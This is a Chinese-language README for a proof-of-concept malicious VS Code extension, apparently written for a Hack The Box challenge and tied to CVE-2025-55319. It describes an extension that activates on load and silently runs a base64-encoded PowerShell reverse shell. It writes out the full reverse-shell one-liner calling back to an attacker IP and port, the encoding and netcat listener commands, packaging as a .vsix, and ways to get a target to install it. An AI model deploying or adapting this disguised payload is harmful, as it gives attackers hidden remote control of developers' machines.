Reference: CVE-2025-55319
针对 HTB "Checkpoint" 挑战的 VS Code (.vsix) 扩展概念验证。
安装后,扩展自动激活并产生一个隐藏的 PowerShell 反向 shell 回连到攻击者。
⚠️ 仅限授权使用。 这是一个 CTF/实验室环境产物。仅可部署在你拥有或明确授权测试(例如 HTB 目标机)的机器上。
extension/package.json — 扩展清单。"activationEvents": ["*"] 使它在 VS Code 加载时即刻运行,无需用户交互。extension/extension.js — 在 activate() 时,执行一个 base64 编码的 PowerShell 负载,使用 -WindowStyle Hidden -NoProfile 实现静默反向 shell。[Content_Types].xml — OpenXML 内容类型清单,使文件夹可被压缩为有效的 .vsix 包。.
├── [Content_Types].xml # VSIX 内容类型清单
└── extension/
├── package.json # 扩展清单(在 "*" 时激活)
└── extension.js # 反向 shell 负载
生成指向你攻击机的 base64 (UTF-16LE) PowerShell 反向 shell:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
将输出粘贴到 extension/extension.js 中的 YOUR_BASE64_PAYLOAD_HERE 位置:
const payload = '<base64-blob-here>'
nc -lvnp 4443
一个 .vsix 文件就是一个 ZIP,其中包含 extension/ 文件夹以及在根目录的清单文件:
# 在此目录下执行
zip -r devtools-helper.vsix extension "[Content_Types].xml"
让目标安装该扩展。方式:
code --install-extension devtools-helper.vsix··· 菜单 → 从 VSIX 安装…在下次启动 VS Code 时(或安装后立即),* 激活事件触发,负载运行,你的监听器接收到 shell。
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
完成后从目标卸载扩展:
code --uninstall-extension devtools.devtools-helper
extension.js 以支持其他平台。extension.js 中导入了 os 但未使用——如果你希望根据 os.platform() 分支支持 Linux/macOS 目标,会很方便。package.json 中递增 version。